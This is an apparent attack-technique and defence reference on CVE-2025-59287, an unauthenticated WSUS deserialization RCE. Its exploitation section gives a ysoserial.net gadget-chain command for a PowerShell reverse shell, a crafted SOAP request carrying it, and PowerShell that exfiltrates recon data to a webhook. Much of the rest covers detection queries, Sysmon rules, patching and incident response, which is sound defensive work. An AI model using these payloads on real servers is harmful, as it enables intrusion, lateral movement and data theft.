MCADDF

[CVE2025-014]: WSUS RCE & Lateral Movement (CVE-2025-59287)

Metadata

| Attribute | Details | |—|—| | Technique ID | CVE2025-014 | | Technique Name | WSUS RCE & Lateral Movement via Unsafe Deserialization (CVE-2025-59287) | | MITRE ATT&CK v18.1 | T1210 – Exploitation of Remote Services (primary); also relates to T1190 – Exploit Public-Facing Application, T1047/T1059.001 – Command/PowerShell Execution | | Tactic | Initial Access, Lateral Movement, Execution | | Platforms | Windows Server (2012, 2012 R2, 2016, 2019, 2022, 2025) with WSUS role | | Severity | Critical (CVSS 9.8 – Remote Code Execution) | | CVE | CVE-2025-59287 | | Technique Status | ACTIVE (public PoCs and widespread exploitation), but vendor patch available | | Last Verified | 2026-01-10 | | Affected Versions | Windows Server 2012 / 2012 R2 / 2016 / 2019 / 2022 / 2025 with WSUS Server Role enabled and security update for CVE-2025-59287 not installed | | Patched In | Microsoft out-of-band updates published 23 Oct 2025 (e.g., KB5070881 / KB5070882 / KB5070883 / KB5070887 and related OS-specific updates) | | Environment | On-prem / IaaS WSUS servers (standalone or on domain controllers), often with internet exposure on TCP 8530/8531 | | Author | SERVTEPArtur Pchelnikau |


2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | CIS Microsoft Windows Server – 9.1, 9.2 | Failure to harden update infrastructure and restrict access to WSUS services. | | DISA STIG | WSVS-UT-000XXX, WN19-00-000XXX | Non-compliance with secure configuration guidance for Windows Server roles and patching infrastructure. | | CISA SCuBA | M365-SRV-1, M365-NET-1 | Insufficient network segmentation and exposure management for administrative services. | | NIST 800-53 | AC-3, AC-17, SC-7, SI-2 | Weak access enforcement and boundary protection for WSUS; delayed patch management for critical RCE. | | GDPR | Art. 32 | Inadequate security of processing where WSUS compromise can lead to widespread endpoint compromise and data breach. | | DORA | Art. 9, 10 | Poor ICT risk management and vulnerability mitigation in critical infrastructure services such as patch management. | | NIS2 | Art. 21 | Lack of appropriate technical and organizational measures to manage known exploited vulnerabilities in core services. | | ISO 27001 | A.8.8, A.8.9, A.8.25 | Inadequate management of technical vulnerabilities and change management for critical update services. | | ISO 27005 | WSUS Supply-Chain Compromise | Risk scenario where centralized update infrastructure becomes a pivot for malware distribution and lateral movement. |


3. TECHNICAL PREREQUISITES

Supported Versions (Vulnerable When Unpatched):

Other Requirements:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

Goal: Identify WSUS servers, determine whether the WSUS role is installed, and verify patch status.

# 1. Enumerate servers with WSUS role (run from management server / domain-joined admin workstation)
Get-ADComputer -Filter 'OperatingSystem -like "*Windows Server*"' -Properties * |
  ForEach-Object {
    $server = $_.Name
    try {
      $feature = Invoke-Command -ComputerName $server -ScriptBlock {
        Import-Module ServerManager
        Get-WindowsFeature -Name UpdateServices
      } -ErrorAction Stop
      if ($feature.Installed) {
        [PSCustomObject]@{
          Server       = $server
          WSUSInstalled = $true
        }
      }
    } catch {
      # Host unreachable or WinRM not configured
    }
  }

# 2. On a suspected WSUS host, verify whether the October 23, 2025 OOB patch is installed
Get-HotFix | Where-Object { $_.HotFixID -like "KB5070*" -or $_.HotFixID -like "KB5068*" } | Sort-Object HotFixID

What to Look For:

Version Note:


Network-Level Reconnaissance

# Scan internal ranges for WSUS ports (8530/8531)
nmap -p 8530,8531 --open 10.0.0.0/16 -oG wsus-scan.txt

# Quick HTTP banner grab for suspected WSUS hosts
while read ip; do
  echo "Checking $ip";
  curl -sk "http://$ip:8530/iuident.cab" -I || true
  curl -sk "http://$ip:8530/ClientWebService/Client.asmx?op=GetCookie" -I || true
done < <(grep "/open/" wsus-scan.txt | awk '{print $2}')

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1 – Direct SOAP Exploit Against WSUS ClientWebService (Unauthenticated RCE)

Supported Versions:

Step 1: Generate a Malicious .NET Gadget Chain Payload

Objective: Prepare a serialized object payload that executes arbitrary commands when deserialized by BinaryFormatter on the WSUS server.

Command (Lab Example – ysoserial.net):

# On attacker workstation
# Generate a .NET gadget chain that spawns a PowerShell reverse shell or runs a recon script
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "powershell.exe -NoP -W Hidden -EncodedCommand <BASE64_PAYLOAD>" > payload.b64

Expected Output:

What This Means:

OpSec & Evasion:


Step 2: Craft and Send the Malicious SOAP Request

Objective: Deliver the serialized gadget chain via a crafted AuthorizationCookie to the vulnerable WSUS endpoint.

Command (Python/curl skeleton – concept):

# Example using curl; actual PoCs typically use custom scripts
TARGET="https://wsus.contoso.com:8531/ClientWebService/Client.asmx"
COOKIE_B64=$(cat payload.b64)

cat > exploit.xml << EOF
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
               xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
      <authorizationCookie>
        <CookieData>$COOKIE_B64</CookieData>
      </authorizationCookie>
    </GetCookie>
  </soap:Body>
</soap:Envelope>
EOF

curl -k -X POST "$TARGET" \
  -H "Content-Type: text/xml; charset=utf-8" \
  --data-binary @exploit.xml

Version Note:

Expected Output:

What This Means:


Step 3: Post-Exploitation – Reconnaissance and Data Exfiltration

Objective: Use the initial RCE foothold to map the environment and stage lateral movement.

Typical Commands (Observed in the wild):

# Basic recon
whoami
ipconfig /all
net user /domain
net group "Domain Admins" /domain

# Encode and exfil internal recon to a webhook
$recon = "$(whoami); $(hostname); $(ipconfig /all); $(net user /domain)"
$enc   = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($recon))
$uri   = "https://webhook.site/<id>?d=$enc"
Invoke-WebRequest -Uri $uri -UseBasicParsing -Method GET

Process Chains to Monitor:

OpSec & Evasion (Attacker View):

Troubleshooting:

References & Proofs:


METHOD 2 – Leveraging WSUS RCE for Lateral Movement and Credential Access

Supported Versions:

Step 1: Pivot from WSUS Host into the Domain

Objective: Turn WSUS into a staging point for domain-wide compromise.

Example PowerShell (run from RCE context):

# Enumerate domain controllers
nltest /dclist:contoso.com

# Enumerate sessions on WSUS host
qwinsta

# Enumerate local admins
net localgroup Administrators

# Search for domain admin sessions
query user /server:localhost

Step 2: Credential Theft and Lateral Movement

Objective: Use existing tools and techniques (outside scope of this CVE) from the high-privilege WSUS context.

Representative activities:

Important: The CVE itself provides RCE; subsequent steps must respect logical chains (no LSASS dumping without local admin/SYSTEM, etc.).


6. TOOLS & COMMANDS REFERENCE

WSUS PoC Exploits and Honeypots

Usage (Generic):


7. SPLUNK DETECTION RULES

Rule 1: Large POST Requests to WSUS Endpoints (Potential Exploit Delivery)

Rule Configuration:

SPL Query:

index=web_iis sourcetype=iis
("8530" OR "/ClientWebService/" OR "/ReportingWebService/" OR "/SimpleAuthWebService/")
| where method="POST"
| eval body_len=len(_raw)
| where body_len > 1000
| stats count by clientip, uri_path, body_len, _time
| sort - count

What This Detects:


Rule Configuration:

SPL Query:

index=wineventlog EventCode=4688
| where ParentImage IN ("C:\\Windows\\System32\\inetsrv\\w3wp.exe",
                        "C:\\Windows\\System32\\svchost.exe",
                        "C:\\Program Files\\Update Services\\Service\\wsusservice.exe")
| where NewProcessName IN ("*\\powershell.exe","*\\cmd.exe","*\\rundll32.exe","*\\regsvr32.exe")
| table _time, ComputerName, SubjectUserName, ParentImage, NewProcessName, CommandLine

What This Detects:


Rule 3: Suspicious Outbound Traffic from WSUS Hosts After Exploit-Like Activity

Rule Configuration:

SPL Query (Template):

index=network_flow (src_ip IN(<WSUS_SERVER_IPS>))
| transaction src_ip maxspan=5m
| search dest_port=80 OR dest_port=443
| search NOT dest_ip IN(<KNOWN_TRUSTED_DESTINATIONS>)
| table _time, src_ip, dest_ip, dest_port, bytes, duration

What This Detects:


8. MICROSOFT SENTINEL DETECTION

Query 1: DeviceProcessEvents – WSUS / IIS Worker Spawning Command Interpreters

Rule Configuration:

KQL Query:

DeviceProcessEvents
| where InitiatingProcessFileName in ("w3wp.exe", "WSUSService.exe")
| where FileName in ("powershell.exe", "cmd.exe", "rundll32.exe", "regsvr32.exe")
| where InitiatingProcessAccountType == "System" or InitiatingProcessAccount == "NT AUTHORITY\\SYSTEM"
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessAccount

What This Detects:


Query 2: Correlate WSUS HTTP Activity with Process Spawns

Rule Configuration:

KQL (Example Pattern):

let WsusHttp = CommonSecurityLog
| where DestinationPort in (8530, 8531)
| project TimeGenerated, DestinationHostName, SourceIP;
let ProcSpawns = DeviceProcessEvents
| where InitiatingProcessFileName in ("w3wp.exe", "WSUSService.exe")
| where FileName in ("powershell.exe", "cmd.exe", "rundll32.exe", "regsvr32.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine;
WsusHttp
| join kind=innerunique (
    ProcSpawns
) on $left.DestinationHostName == $right.DeviceName
| where ProcSpawns_Timestamp between (WsusHttp_TimeGenerated .. WsusHttp_TimeGenerated + 5m)
| project WsusHttp_TimeGenerated, DeviceName, SourceIP, FileName, ProcessCommandLine

What This Detects:


9. WINDOWS EVENT LOG MONITORING

Event ID: 4688 – New Process Created

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc).
  2. Edit the GPO applied to WSUS servers.
  3. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → System Audit Policies → Detailed Tracking.
  4. Enable Audit Process Creation with Success.
  5. Run gpupdate /force on WSUS servers or wait for policy refresh.

Manual Configuration Steps (Local Policy):

  1. On a WSUS server, open Local Security Policy (secpol.msc).
  2. Go to Security Settings → Advanced Audit Policy Configuration → System Audit Policies → Detailed Tracking.
  3. Enable Audit Process Creation for Success.
  4. Optionally, use auditpol:
auditpol /set /subcategory:"Process Creation" /success:enable /failure:disable

10. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2012+.

Sysmon Config Snippet (Process Creation):

<RuleGroup name="WSUS Exploit Activity" groupRelation="or">
  <ProcessCreate onmatch="include">
    <ParentImage condition="end with">\w3wp.exe</ParentImage>
    <Image condition="end with">\powershell.exe</Image>
  </ProcessCreate>
  <ProcessCreate onmatch="include">
    <ParentImage condition="end with">\wsusservice.exe</ParentImage>
    <Image condition="end with">\powershell.exe</Image>
  </ProcessCreate>
  <ProcessCreate onmatch="include">
    <ParentImage condition="end with">\wsusservice.exe</ParentImage>
    <Image condition="end with">\cmd.exe</Image>
  </ProcessCreate>
</RuleGroup>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals.
  2. Create a config file sysmon-wsus.xml with the snippet above merged into your baseline config.
  3. Install Sysmon on WSUS servers:
sysmon64.exe -accepteula -i sysmon-wsus.xml
  1. Verify installation:
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10

11. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL – Patch and Isolate WSUS

Action 1: Apply Microsoft’s Out-of-Band Security Update

Applies To Versions: Windows Server 2012–2025 with WSUS.

Manual Steps (Windows Update / WSUS):

  1. For each WSUS server, run Windows Update or apply the specific KB from the Microsoft Security Update Guide for CVE-2025-59287.
  2. Reboot the server after patching.
  3. Validate patch state:
Get-HotFix | Where-Object { $_.HotFixID -like "KB5070*" -or $_.HotFixID -like "KB5068*" }

Action 2: Restrict Network Exposure of WSUS

Manual Steps (Firewall):

  1. On perimeter firewalls and internal segmentation devices, create rules to:
    • Deny inbound access to WSUS ports (8530/8531) from the internet.
    • Restrict access to WSUS from only legitimate update clients and management subnets.
  2. On the WSUS host firewall (Windows Defender Firewall):
New-NetFirewallRule -DisplayName "Block WSUS External" -Direction Inbound -Protocol TCP `
  -LocalPort 8530,8531 -Action Block -RemoteAddress Any

Validation:


Priority 2: HIGH – Harden WSUS Role and Monitoring

Action: Treat WSUS as a Tier-0 / High-Value Asset

Manual Steps:

  1. Remove WSUS from domain controllers where possible; run WSUS on dedicated management servers.
  2. Ensure WSUS hosts are enrolled in EDR (Defender for Endpoint or equivalent) with strict monitoring.
  3. Enable detailed logging (IIS, Windows Security, Sysmon) and forward these logs to a central SIEM.

12. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Processes:

Network:

Files:

Logs:


Response Procedures

  1. Isolate the WSUS Host:
    • Disconnect WSUS server from the network or block all inbound/outbound traffic except for IR tooling.
    • Stop the WSUS service and associated IIS site if necessary.
  2. Collect Evidence:
    • Preserve:
      • Windows Event Logs (Security, Application, System, Sysmon).
      • IIS logs for WSUS sites.
      • WSUS logs and configuration database.
    • Capture memory image if possible.
    • Export EDR telemetry (process trees, file creations, network connections).
  3. Eradication and Recovery:
    • Apply patches for CVE-2025-59287 to all WSUS hosts.
    • If compromise is confirmed, rebuild WSUS from known-good media rather than attempting in-place cleanup.
    • Rotate any credentials that may have been accessible from WSUS (local admin, service accounts, domain admin if present).
    • Review and, if necessary, reset WSUS update approvals and client configurations to prevent backdoored updates.
  4. Hunt for Lateral Movement:
    • Use SIEM/EDR to search for:
      • Reuse of credentials originating from WSUS.
      • RDP/SMB/WinRM connections from WSUS to other servers.
      • New scheduled tasks, services, or autoruns created shortly after WSUS exploitation.
  5. Lessons Learned:
    • Update vulnerability management processes to prioritize administrative infrastructure (WSUS, SCCM, management portals).
    • Incorporate WSUS into purple-team exercises.

Step Phase Technique Description
1 Initial Access T1190 – Exploit Public-Facing Application Attacker discovers and exploits internet-exposed WSUS via CVE-2025-59287.
2 Execution T1210 – Exploitation of Remote Services Malicious SOAP payload triggers unsafe deserialization, achieving SYSTEM-level code execution.
3 Current Step CVE2025-014 – WSUS RCE & Lateral Movement WSUS host becomes a high-privilege beachhead inside the domain.
4 Lateral Movement / Credential Access T1003.x, T1021.x Attacker harvests credentials and pivots to domain controllers, file servers, and endpoints.
5 Impact T1486 / T1490 / T1537 Potential ransomware deployment, destructive actions, or mass malware distribution via update channels.

14. REAL-WORLD EXAMPLES

Example 1: Opportunistic WSUS Exploitation Campaign Delivering Infostealers

Example 2: Pre-Ransomware Campaigns Using WSUS as Initial Access Vector